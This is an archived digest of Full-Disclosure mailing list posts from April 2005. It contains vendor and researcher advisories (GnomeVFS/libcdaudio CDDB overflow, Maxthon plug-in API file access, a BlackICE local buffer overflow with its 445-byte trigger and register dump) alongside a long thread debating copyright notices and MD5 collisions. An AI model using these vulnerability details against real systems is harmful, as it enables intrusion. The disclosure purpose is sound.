(who says mailing lists arent addictive)
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Re: [Full-disclosure] Re: Case ID 51560370 - Notice ofClaimedInfringement

class101HAT-SQUAD.com
Date: Fri Apr 08 2005 - 06:00:49 CDT


would be nice to done your crap discussion elsewhere, at start, this thread
shouldnt be there , thx mr coombs ..............................

-------------------------------------------------------------
class101
Jr. Researcher
Hat-Squad.com
-------------------------------------------------------------
----- Original Message -----
From: "AJ C" <spook3y3sgmail.com>
To: "Jason" <securitybrvenik.com>; <full-disclosurelists.grok.org.uk>
Sent: Friday, April 08, 2005 4:48 AM
Subject: Re: [Full-disclosure] Re: Case ID 51560370 - Notice
ofClaimedInfringement

> Civil vs Criminal cases dude, you're imposing some aspects of criminal
> cases upon civil proceedings and that's not how they work. In a
> criminal trial it's a dramatized version of reasonable doubt, civil
> proceedings must show 51%+ responsibility on the part of the defendant
> (much, much easier and why the powers that be choose this route). Not
> to mention it's their content (no harm, no foul on downloading
> something they already own) and MPAA/RIAA/blah have set precedence for
> proactively tracking (either themselves or appointed parties)
> file-sharing events (method of access is not unlawful and cannot be
> brought into contention...is BitTorrent inherently illegal when used
> for legit purposes? -- nope).
>
> If bb knocks on your door then you argue evidentiary process otherwise
> in a civil proceeding you bear more of a burden to show you *didn't*
> do what they're claiming (right or wrong they do have the legal upper
> hand with their records versus essentially a verbal denial at best).
>
> 'Probably just easier to not download the crap and stay off the radar,
$0.02.
>
> On Apr 7, 2005 7:26 PM, Jason <securitybrvenik.com> wrote:
> > IANAL but it seems this thought process is broken.
> >
> > Jason Coombs wrote:
> > > Come on, people, get a clue.
> > >
> > > The copyright owner has authorized the forensic investigators to
> > > download the infringing material. If it was there, according to a
> > > forensic investigator, then you have to prove it was not.
> >
> > This position does not hold water, there is no way for them to not break
> > the same laws they would be attempting to enforce by performing the
> > investigation from a remote location and without a valid search warrant.
> > You do not have to prove that you did not have the content, you only
> > have to prove that you have content that appears very similar to the
> > remote reviewer.
> >
> > If you were to place a copyrighted work of your own there then would
> > they be forced to download it and break the law in order to prove that
> > it was not the other copyright owners property? If they show in the logs
> > as having attempted a download does this make them guilty?
> >
> > It is as simple as creating a server that will return filenames and
> > hashes found on the network but actually provide /dev/random for the
> > download or your copyrighted content with an engineered hash collision.
> >
> > It only takes one case to prevent the civil suit from being filed. To
> > file the suit would be admitting to having broken the law. You cannot
> > bring suit when the basis of the suit is itself illegal activity.
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> >
>
>
> --
> AJC
> spook3y3sgmail.com
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

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[Full-disclosure] [ GLSA 200504-07 ] GnomeVFS, libcdaudio: CDDB response overflow

From: Thierry Carrez (koongentoo.org)
Date: Fri Apr 08 2005 - 06:19:59 CDT


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200504-07
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: GnomeVFS, libcdaudio: CDDB response overflow
      Date: April 08, 2005
      Bugs: #84936
        ID: 200504-07

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

The GnomeVFS and libcdaudio libraries contain a buffer overflow that
can be triggered by a large CDDB response, potentially allowing the
execution of arbitrary code.

Background
==========

GnomeVFS is a filesystem abstraction library for the GNOME desktop
environment. libcdaudio is a multi-platform CD player development
library. They both include code to query CDDB servers to get Audio CD
track titles.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 gnome-base/gnome-vfs < 2.8.4-r1 >= 2.8.4-r1
  2 media-libs/libcdaudio < 0.99.10-r1 >= 0.99.10-r1
    -------------------------------------------------------------------
     2 affected packages on all of their supported architectures.
    -------------------------------------------------------------------

Description
===========

Joseph VanAndel has discovered a buffer overflow in Grip when
processing large CDDB results (see GLSA 200503-21). The same overflow
is present in GnomeVFS and libcdaudio code.

Impact
======

A malicious CDDB server could cause applications making use of GnomeVFS
or libcdaudio libraries to crash, potentially allowing the execution of
arbitrary code with the privileges of the user running the application.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All GnomeVFS users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=gnome-base/gnome-vfs-2.8.4-r1"

All libcdaudio users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=media-libs/libcdaudio-0.99.10-r1"

References
==========

  [ 1 ] CAN-2005-0706
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0706
  [ 2 ] GLSA 200503-21
        http://www.gentoo.org/security/en/glsa/glsa-200503-21.xml

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200504-07.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

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[Full-disclosure] [gentoo-announce] [ GLSA 200504-07 ] GnomeVFS, libcdaudio: CDDB response overflow

From: Thierry Carrez (koongentoo.org)
Date: Fri Apr 08 2005 - 06:19:59 CDT


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200504-07
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: GnomeVFS, libcdaudio: CDDB response overflow
      Date: April 08, 2005
      Bugs: #84936
        ID: 200504-07

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

The GnomeVFS and libcdaudio libraries contain a buffer overflow that
can be triggered by a large CDDB response, potentially allowing the
execution of arbitrary code.

Background
==========

GnomeVFS is a filesystem abstraction library for the GNOME desktop
environment. libcdaudio is a multi-platform CD player development
library. They both include code to query CDDB servers to get Audio CD
track titles.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 gnome-base/gnome-vfs < 2.8.4-r1 >= 2.8.4-r1
  2 media-libs/libcdaudio < 0.99.10-r1 >= 0.99.10-r1
    -------------------------------------------------------------------
     2 affected packages on all of their supported architectures.
    -------------------------------------------------------------------

Description
===========

Joseph VanAndel has discovered a buffer overflow in Grip when
processing large CDDB results (see GLSA 200503-21). The same overflow
is present in GnomeVFS and libcdaudio code.

Impact
======

A malicious CDDB server could cause applications making use of GnomeVFS
or libcdaudio libraries to crash, potentially allowing the execution of
arbitrary code with the privileges of the user running the application.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All GnomeVFS users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=gnome-base/gnome-vfs-2.8.4-r1"

All libcdaudio users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=media-libs/libcdaudio-0.99.10-r1"

References
==========

  [ 1 ] CAN-2005-0706
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0706
  [ 2 ] GLSA 200503-21
        http://www.gentoo.org/security/en/glsa/glsa-200503-21.xml

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200504-07.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: Michael Holstein (michael.holsteincsuohio.edu)
Date: Fri Apr 08 2005 - 08:31:57 CDT


>>That's why if you wanted, you could sell bags of flour as cocaine and not be
>>charged with drug dealing. Fine, it looks the same and weighs the same,
>>however it isn't the product that's illegal. And to prove that it's illegal,
>>they need to test it.

Well ... tell that to these idiots :

http://www.cleveland.com/search/index.ssf?/base/news/111269368272792.xml?nohio

~Mike.
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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: buford.t.pisser (buford.t.pisserverizon.net)
Date: Fri Apr 08 2005 - 09:04:50 CDT


Michael Holstein wrote:

>
>>> That's why if you wanted, you could sell bags of flour as cocaine
>>> and not be
>>> charged with drug dealing. Fine, it looks the same and weighs the same,
>>> however it isn't the product that's illegal. And to prove that it's
>>> illegal,
>>> they need to test it.
>>
>
> Well ... tell that to these idiots :
>
> http://www.cleveland.com/search/index.ssf?/base/news/111269368272792.xml?nohio
>
>
>
> ~Mike.
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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>
Yes but there was actually coke in all of the mess. I guess that if they
say that just because there were ones and zero's in the file that they
downloaded, then they may be able to bust Jason on that level. Highly
unlikely. Whatever happen to innocent until PROVEN guilty. Why does he
have to prove his innocence. Let them prove his guilt.

Marvin R. Myers CISSP

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[Full-disclosure] Maxthon browser multiple vulnerabilities advisory

From: Aviv Raff (avivragmail.com)
Date: Fri Apr 08 2005 - 11:08:11 CDT


Maxthon browser multiple vulnerabilities advisory

URL: http://www.raffon.net/advisories/maxthon/multvulns.html
Date: April 08, 2005
Author: Aviv Raff

Introduction

"Maxthon Internet Browser software is a powerful tabbed browser with a
highly customizable interface. It is based on the Internet Explorer browser
engine..." (From Maxthon website <http://www.maxthon.com/> ).
In order to enhance the user experience, Maxthon uses a model of plug-ins.
Maxthon exposes an API, which allows plug-ins to read/write to files. These
functions allow the plug-ins to perform those operations on any directory in
the running computer. Moreover, In order to call Maxthon's API functions
from a plug-in, a "secure id" must be provided. This id can be easily
fetched, and therefore the API functions can be called from any web site the
user visits.

Technical Details

1) Maxthon's plug-ins use readFile and writeFile API functions to read and
write from/to files on the plug-in's directory. It is possible to read and
write from/to files on any other directory, due to lack of directory
traversal character sequences validation.
2) Maxthon allows calling to API functions only when a "security id" of a
plug-in is provided. The "security id" of a plug-in is auto-generated when a
plug-in is used for the first time in the current Maxthon session. Side bar
plug-ins include the "security id" in a file named "max.src" on the
plug-in's directory. By including this file in a script on a web page, it is
possible to call functions that will read and write to local files, manage
tabs, etc.

A combination of the above vulnerabilities can be exploited to potentially
allow remote code execution.
Tested versions: 1.2.0; 1.2.1
Older versions might also be affected.

Proof of Concept

The following is a local file reading proof of concept.
Default Maxthon installation is assumed, and also that the, installed by
default, M2Bookmark side bar plug-in was already used on the current Maxthon
session.
http://www.raffon.net/advisories/maxthon/nosecidpoc.html

Timetable

27-Mar-2005: Vendor informed.
28-Mar-2005: Vendor confirmed vulnerability.
08-Apr-2005: Vendor published a fixed version.
08-Apr-2005: Public disclosure.

Solution

Upgrade to version 1.2.2.

Disclaimer: The information in this advisory and any of its demonstrations
is provided "as is" without warranty of any kind.

-- Copyright C 2005 Aviv Raff. --

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of Claimed Infringement

From: bkfsec (bkfsecsdf.lonestar.org)
Date: Fri Apr 08 2005 - 10:20:41 CDT


Thomas Sutpen wrote:

>On Apr 5, 2005 5:01 AM, Ag. System Administrator <sysadminagent.co.il> wrote:
>
>
>>More nice will be if this .iso file is just 451,486k of /dev/random junk.
>>Any proves that this file __IS__ Sybase Powerbuilder 9 Enterprise.iso?
>>MD5? Something?
>>
>>
>
>The question that would begged to be asked is how they verified it.
>If they were to download copyrighted software from somebody sharing
>copyrighted software, does this not also constitute a crime? Is it
>not true that downloading illegally shared software is itself illegal?
> I'm not a lawyer, of course, but it's been my observation that the
>legal system doesn't often smile on those breaking the law to prove
>that others are breaking the law, unless it's in a Hollywood movie, no
>pun intended.
>
>Perhaps copyright makes some sort of concession for this. But it
>makes one wonder...
>
>
>
It's not illegal if you're either the original copyright holder, or are
provided a license by the original copyright holder.

It's also really the act of distribution that is the "crime" (ahem, it's
actually a tort violation)...

                -Barry

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of Claimed Infringement

From: bkfsec (bkfsecsdf.lonestar.org)
Date: Fri Apr 08 2005 - 10:25:25 CDT


Randall Perry wrote:

> No, it isn't quiet that clean.
> The initial post was regarding eDonkey/eMule client.
> The files are broken into chunks.
> The files are 'verified' by a one-way hash.
>
Which brings up another couple of questions:

       1. Some networks of this type distribute their seeds in random
caches amongst their population. If you don't know it's there, are you
liable for it?

       2. For a copyright violation to occur, you need a "significant
portion of the original work." Does having a chunk that qualifies as
1/30th of a copyrighted work
            qualify for copyright violation via unauthorized
distribution? I don't know and IANAL, but I'd say that it's questionable.

                      -Barry

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of Claimed Infringement

From: bkfsec (bkfsecsdf.lonestar.org)
Date: Fri Apr 08 2005 - 10:30:40 CDT


Thierry Zoller wrote:

>RP> Otherwise, it is _possible_ to have a chunk with the same fingerprint and
>RP> make it appear that you have said chunk of their iso.
>That's *AFAIK* not possible, if this would be true the edonckey/emule
>protocol would have a big design flaw and poeple couldn't even trade
>millions of files every day, some (most?) downloads would be corrutped
>as they could have potentialy downloaded a wrong chunk which in fact
>is from another file.
>
>
>
Of course it's possible. All hashes, by their very nature, have
collisions. The only way to have a truly unique identifier is to use
the actual content of the file (or chunk) itself. The minute you
distill the content down to a hash, you're guaranteeing that collisions
will occur.

They are, however, somewhat rare. That's why the system works as
relatively well as it does.

Regarding corrupt files via P2P protocols... no file transfered via P2P
has _ever_ tranferred bad data and wound up corrupt, right? :)
/friendly sarcasm.

             -Barry

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of Claimed Infringement

From: bkfsec (bkfsecsdf.lonestar.org)
Date: Fri Apr 08 2005 - 10:34:12 CDT


Thierry Zoller wrote:

>You forget that the hash is not the only unique thing that specific file
>has in common with the pirated file/material.
>
>Calculate the following probability:
>
>- The file/chunck has the same MD5 (or whatever HASH)
> as the pirated material in question.
>- The file has the EXACT same filename (if there would be a collission
>how is the probability in mathametic terms that the file the
>collission takes place has the exact same filename?)
>- The file has the EXACT same size (The file has the EXACT same date
>etc.pp)
>
>
>
>
These factors do not come into play when you're talking about P2P
protocols that use seeded chunks to share their files. When a
particular file is split up into chunks and each chunk is appropriately
named on the host, the file itself (depending on the P2P protocol)
doesn't always harbor a descriptive name. The name of the file is
stored in the protocol and file names/dates can very well be different.

These aren't the same issues as verifying a filesystem that you
control. It's a lot more complex than that.

             -Barry

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: bkfsec (bkfsecsdf.lonestar.org)
Date: Fri Apr 08 2005 - 11:07:08 CDT


Jason wrote:

>
> My point is that all you have to do is provide content they do not own
> but do download or attempt to download for this test to fail. Simply
> the existence of content with an advertised hash and name that is the
> same as other content does not prove they own the content or that it
> is even there. The act of downloading the content they think they own
> but in fact do not is a violation of the same law they are attempting
> to get you with.
>
Interesting.

I like that idea.

Craft a file with the same hash, time+date stamp and size, and be sure
to include a program and license disclosure for a program that you
wrote. Do something to gain the attention of the BSA, share the file,
and when they download it, sue them for copyright violation, demanding
royalties for the software they possess.

Now, there's a rub: putting the file up on a P2P network could be
considered willful distribution and, as such, could invalidate the
claim. However, misconfiguring your software might get you around that.

You might still lose for a number of reasons, not the least of which is
that on a good day, the courts are supposed to mediate these issues, not
award damages by default... and on a bad day the court just becomes a
tool of corporate assault on the consumer. Let's face it, lately the
courts and legislature (not to mention the executive) have been more
favorable to big business than to consumers and small-time producers.

             -Barry

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

Valdis.Kletnieksvt.edu
Date: Fri Apr 08 2005 - 11:23:07 CDT


On Fri, 08 Apr 2005 12:07:08 EDT, bkfsec said:

> Craft a file with the same hash, time+date stamp and size, and be sure
> to include a program and license disclosure for a program that you
> wrote.

Unfortunately, nobody has a good algorithm for creating a file that has the
same MD5 hash as a given existing file. So while I *can* create two files
"foo1" and "foo2" that happen to have the same hash (the actual value of which
I have no control over), I can't (yet) create a file that has the same MD5 hash
as the trailer for the next Star Wars movie...

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Version: GnuPG v1.4.1 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFCVq/rcC3lWbTT17ARAumbAJsE8YZumY9Bu1YweL6Xvj6ejfEsbACfZ/4f
7nzO/J1Vv5HIdeEUhtBStxE=
=RXm3
-----END PGP SIGNATURE-----

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Re: [Full-disclosure] MSN Plus Password Change Security Bypass

auto447062hushmail.com
Date: Fri Apr 08 2005 - 10:57:37 CDT


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>all the MSN Messngers and MSN Plus are vulnerable.
>
>NOTE: successful exploitation requires that a user has logged in
recently...

PW cached recently? %^)
BS"D, tivdok od paam.
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkJWrHAACgkQz4daOG7hUOnOIACfSfrLJfopMrA0Vq/dfFwUeGDHbR4A
n3bTULupIFEnEdQjnQbSdlca6ySS
=uOTp
-----END PGP SIGNATURE-----

Concerned about your privacy? Follow this link to get
secure FREE email: http://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
http://www.hushmail.com/services-messenger?l=434

Promote security and make money with the Hushmail Affiliate Program:
http://www.hushmail.com/about-affiliate?l=427

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: dk (dkpwarchitects.com)
Date: Fri Apr 08 2005 - 11:47:50 CDT


Valdis.Kletnieksvt.edu wrote:
> On Fri, 08 Apr 2005 12:07:08 EDT, bkfsec said:
>
>
>>Craft a file with the same hash, time+date stamp and size, and be sure
>>to include a program and license disclosure for a program that you
>>wrote.
>
>
> Unfortunately, nobody has a good algorithm for creating a file that has the
> same MD5 hash as a given existing file. So while I *can* create two files
> "foo1" and "foo2" that happen to have the same hash (the actual value of which
> I have no control over), I can't (yet) create a file that has the same MD5 hash
> as the trailer for the next Star Wars movie...

Modding the p2p app to falsely match specific remote chunks against
crafted local files seems an easier route than trying to find
collisions. :) Then again, it would break the swarming feature of what
ever app you modded & 'prolly be breaking some other U.S. Law.

--
dk
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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: Jason (securitybrvenik.com)
Date: Fri Apr 08 2005 - 11:50:24 CDT


Valdis.Kletnieksvt.edu wrote:
> On Fri, 08 Apr 2005 12:07:08 EDT, bkfsec said:
>
>
>>Craft a file with the same hash, time+date stamp and size, and be sure
>>to include a program and license disclosure for a program that you
>>wrote.
>
>
> Unfortunately, nobody has a good algorithm for creating a file that has the
> same MD5 hash as a given existing file. So while I *can* create two files
> "foo1" and "foo2" that happen to have the same hash (the actual value of which
> I have no control over), I can't (yet) create a file that has the same MD5 hash
> as the trailer for the next Star Wars movie...
>

I think that entirely depends on the format the file is distributed in.
You could take a zipfile and pad it in non critical areas to change the
MD5 without creating a substantial difference in the deliverable
content. You could do the same with gzip or bzip formatted files. You
could also pad any embedded jpeg images to engineer a collision. There
are quite a few opportunities where this method could be used to twiddle
the new MD5 without materially changing the content.

Here is the case I am thinking about.

Software that is ~150M in size, it gets redistributed as a new file that
is 160M is size but has a collision with your software which is also
160M in size. I imagine there would be some computational time involved
to find the appropriate collision but a lot less computational time than
finding a perfect match to the original.

Now everyone must download both files to know for sure that there is a
violation, in performing this download they are violating the law
themselves. I doubt you would be awarded any royalties as a result of
this but it would take all of the meat out of further prosecution
efforts since they would have to be able to prove they did not violate
the law and in fact downloaded only the correct version.

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

Valdis.Kletnieksvt.edu
Date: Fri Apr 08 2005 - 12:20:08 CDT


On Fri, 08 Apr 2005 12:50:24 EDT, Jason said:

> I think that entirely depends on the format the file is distributed in.
> You could take a zipfile and pad it in non critical areas to change the
> MD5 without creating a substantial difference in the deliverable
> content. You could do the same with gzip or bzip formatted files. You
> could also pad any embedded jpeg images to engineer a collision. There
> are quite a few opportunities where this method could be used to twiddle
> the new MD5 without materially changing the content.

It's easy to tweak a file and get a different MD5. That's why Tripwire works.

> Software that is ~150M in size, it gets redistributed as a new file that
> is 160M is size but has a collision with your software which is also
> 160M in size. I imagine there would be some computational time involved
> to find the appropriate collision but a lot less computational time than
> finding a perfect match to the original.

You're missing the point.

Let's say we have a file A that's 150M in size, and a file B that's 160M in
size. File B is *not* under our control, and has a known fixed MD5 hash.

It's easy to take file A, and create 2 files C and D from it that happen to
have the same MD5 hash as each other. What is *NOT* easy is creating a file E
that has the same hash as A or B.

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xr7YPUC07hUT22557K+tjP0=
=VPm/
-----END PGP SIGNATURE-----

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: Jason (securitybrvenik.com)
Date: Fri Apr 08 2005 - 12:45:51 CDT


Valdis.Kletnieksvt.edu wrote:
> On Fri, 08 Apr 2005 12:50:24 EDT, Jason said:
>
>
>>I think that entirely depends on the format the file is distributed in.
>>You could take a zipfile and pad it in non critical areas to change the
>>MD5 without creating a substantial difference in the deliverable
>>content. You could do the same with gzip or bzip formatted files. You
>>could also pad any embedded jpeg images to engineer a collision. There
>>are quite a few opportunities where this method could be used to twiddle
>>the new MD5 without materially changing the content.
>
>
> It's easy to tweak a file and get a different MD5. That's why Tripwire works.
>
>
>>Software that is ~150M in size, it gets redistributed as a new file that
>>is 160M is size but has a collision with your software which is also
>>160M in size. I imagine there would be some computational time involved
>>to find the appropriate collision but a lot less computational time than
>>finding a perfect match to the original.
>
>
> You're missing the point.
>
> Let's say we have a file A that's 150M in size, and a file B that's 160M in
> size. File B is *not* under our control, and has a known fixed MD5 hash.
>
> It's easy to take file A, and create 2 files C and D from it that happen to
> have the same MD5 hash as each other. What is *NOT* easy is creating a file E
> that has the same hash as A or B.

I get the point just fine. Injecting files C and D results in a
situation that cannot be resolved without downloading both files.

Song A = mp3 format file with valid license to BSA
Song B = mp3 format file without valid license to BSA
Song C = zip of Song A plus pad to generate MD5
Song D = zip of Song B plus pad to generate same MD5

It is now impossible to distinguish between C and D without downloading
both. The content inside is still fully usable and valid but a violation
cannot be confirmed without yourself violating the law.

What you might see in a DL dialog

NAME MD5 SIZE
somefile.zip ABCD321312 120M
someotherfile.zip ABCD321312 120M

You cannot remotely know that either file is in fact the content you are
looking for without downloading both files. Both files may not be the
content you are looking for. How can you remotely distinguish that a
violation has occurred?

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

Valdis.Kletnieksvt.edu
Date: Fri Apr 08 2005 - 13:53:31 CDT


On Fri, 08 Apr 2005 13:45:51 EDT, Jason said:

> I get the point just fine. Injecting files C and D results in a
> situation that cannot be resolved without downloading both files.
>
> Song A = mp3 format file with valid license to BSA
> Song B = mp3 format file without valid license to BSA
> Song C = zip of Song A plus pad to generate MD5
> Song D = zip of Song B plus pad to generate same MD5
>
> It is now impossible to distinguish between C and D without downloading
> both. The content inside is still fully usable and valid but a violation
> cannot be confirmed without yourself violating the law.

On the other hand, note the following:

1) The copyright nazi's aren't going to be looking for C *or* D, because they're
only looking for files that have the same hash as A. They'd have to actually
download C and D and *listen* to it, and identify it (quick - how do you tell
the difference between the audio content of the original Beatles "Come Together"
and the Aerosmith cover of the same song?)

2) It's of course simple to create an arms race where the copyright nazis need to
expend more effort because they can't just go after the MD5 sum. However, it cuts
both ways - if you see 15 copies of a file available with the same MD5 sum, you can
have *some* trust it's not corrupted. If you see 15 copies with 15 different hashes,
which one do you trust?

3) If you change the size, date, and MD5 hash and rename it to "Frozzle-bar.doc",
you're not likely to get a note from Metallica's representative about the
pirated copy of their album. But it's probably not going to be accessed very
much unless you re-rename it to Frozzle-bar-really-metallica-master-of-puppets.doc.
Of course, at that point, you *may* get a note from their representative.. :)

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Re: [Full-disclosure] I need uh Qwik-Fix please sho 'nuff!

lor.tharholmhushmail.com
Date: Fri Apr 08 2005 - 13:59:43 CDT


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>You and I couldn't possibly build what PivX has built in terms of
>professional corporate structure, public NASDAQ stock exchange
>listing, business relationships and loyal partners, qualified
>employees, paying customers, etc for anything less than PivX has
>spent to get where it is today, with its existing problems-and-

OTC BB:PIVX.OB YOU TO RED EYE BATTYBWOY

Singer Lewak Greenbaum & Goldstein LLP ("Singer") resigned
substantial doubt about the Company's ability to continue as a
going concern.

Robert N. Shively resigned as President, Treasurer, Chief Executive
Officer and Acting Chief Financial Officer

Geoff Shively resigned as Chief Scientist and a director of the
Company

>I will gladly testify at your criminal trial as to the technical
>and forensic issues that disprove your assertions of wrongdoing by
>PivX. I have an intimate understanding of these issues, and of
>this company.

SINSEMILLA SKIN YOUR TEETH WHOLE HEAP YA NUH SEE?

                .:.
                        :|:
                       .:|:.
                       ::|::
        :. ::|:: .:
        :|:. .::|::. .:|:
        ::|:. :::|::: .:|:;
        `::|:. :::|::: .:|::'
         ::|::. :::|::: .::|:;
         `::|::. :::|::: .::|::'
          :::|::. :::|::: .::| ::;
          `:::|::. :::|::: .::|::;'
 `::. `:::|::. :::|::: .::|::;' .:;'
  `:::.. ?::|::. :::|::: .::|::? ..::;'
    `:::::. ':|::. :::|::: .::|:' ,::::;'
      `:::::. ':|:::::|:::::|:' :::::;'
        `:::::.:::::|::::|::::|::::.,:::;'
           ':::::::::|:::|:::|:::::::;:'
              ':::::::|::|::|:::::::''
                   `::::::::::;'
                  .:;'' ::: ``::.
                       :':':

CHA!
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Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

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niFcjfTs1VCi8YTaw/s7f1wjxyrr
=M7BN
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] How to Report a Security Vulnerability to Microsoft

From: Microsoft Security Response Center (securemicrosoft.com)
Date: Fri Apr 08 2005 - 14:21:05 CDT


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello!

The Microsoft Security Response Center investigates all reports of
security vulnerabilities sent to us that affect Microsoft products.
If you believe you have found a security vulnerability affecting a
Microsoft product, we would like to work with you to investigate it.

We are concerned that people might not know the best way to report
security vulnerabilities to Microsoft. You can contact the Microsoft
Security Response Center to report a vulnerability by emailing
securemicrosoft.com directly, or you can submit your report via our
web-based vulnerability reporting form located at:
https://www.microsoft.com/technet/security/bulletin/alertus.aspx.

Sincerely,
Microsoft Security Response Center

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Version: PGP 8.1

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TNJ7qzRl4GFKt2fK7+7m60x3VukWNy3JGQSxgOX7mkftfglrHzyOL6AtDwhf2ff4
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] [ISR] - Internet Security Systems, RealSecure Desktop and BlackICE PC Protection Buffer Overflow

From: Francisco Amato (famatoinfobyte.com.ar)
Date: Fri Apr 08 2005 - 14:23:13 CDT


||
|| [ISR]
|| Infobyte Security Research
|| www.infobyte.com.ar
|| 04.08.2005
||

.:: SUMMARY

ISS - Internet Security Systems, RealSecure Desktop and BlackICE PC
Protection
Buffer Overflow

Version: BlackIce 7.0.322, It is suspected that all previous versions of
BlackIce
are vulnerable.

.:: BACKGROUND

BlackICE products provide Intrusion Detection, personal firewall, and
application protection.

    http://www.iss.com

.:: DESCRIPTION

A local buffer overflow vulnerability affect RealSecure Desktop and BlackICE
PC Protection
This issue is due to a failure of the application to securely copy
user-supplied data
into field name of rules that user create.

Buffer used: A * 445

Information of Registers:
EAX 41414141
ECX 41414141
EDX 41414175
EBX 00000001
ESP 0012EC5C
EBP 0012EF00
ESI 0048A8E0 blackice.0048A8E0
EDI 00F29704
EIP 004055AF blackice.004055AF
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 0038 32bit 7FFDE000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_ALREADY_EXISTS (000000B7)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty -NAN FFFF FFD0D0C8 FFD0D0C8
ST1 empty -??? FFFF 00000000 00000000
ST2 empty -??? FFFF 00FE00CF 00CF00C7
ST3 empty -??? FFFF 00FE00CF 00CF00C7
ST4 empty -NAN FFFF FFD0D0C8 FFD0D0C8
ST5 empty -??? FFFF 00FF00D0 00D000C8
ST6 empty -??? FFFF 00000000 00000000
ST7 empty -??? FFFF 00800080 00800080
               3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1

.:: EXTRA

We did not find any way to gain additional privileges

.:: DISCLOSURE TIMELINE

03/22/2005 Initial vendor notification
03/25/2005 Initial vendor response
04/08/2005 Public disclosure

.:: CREDIT

Francisco Amato is credited with discovering this vulnerability.
famato][at][infobyte][dot][com][dot][ar

.:: LEGAL NOTICES

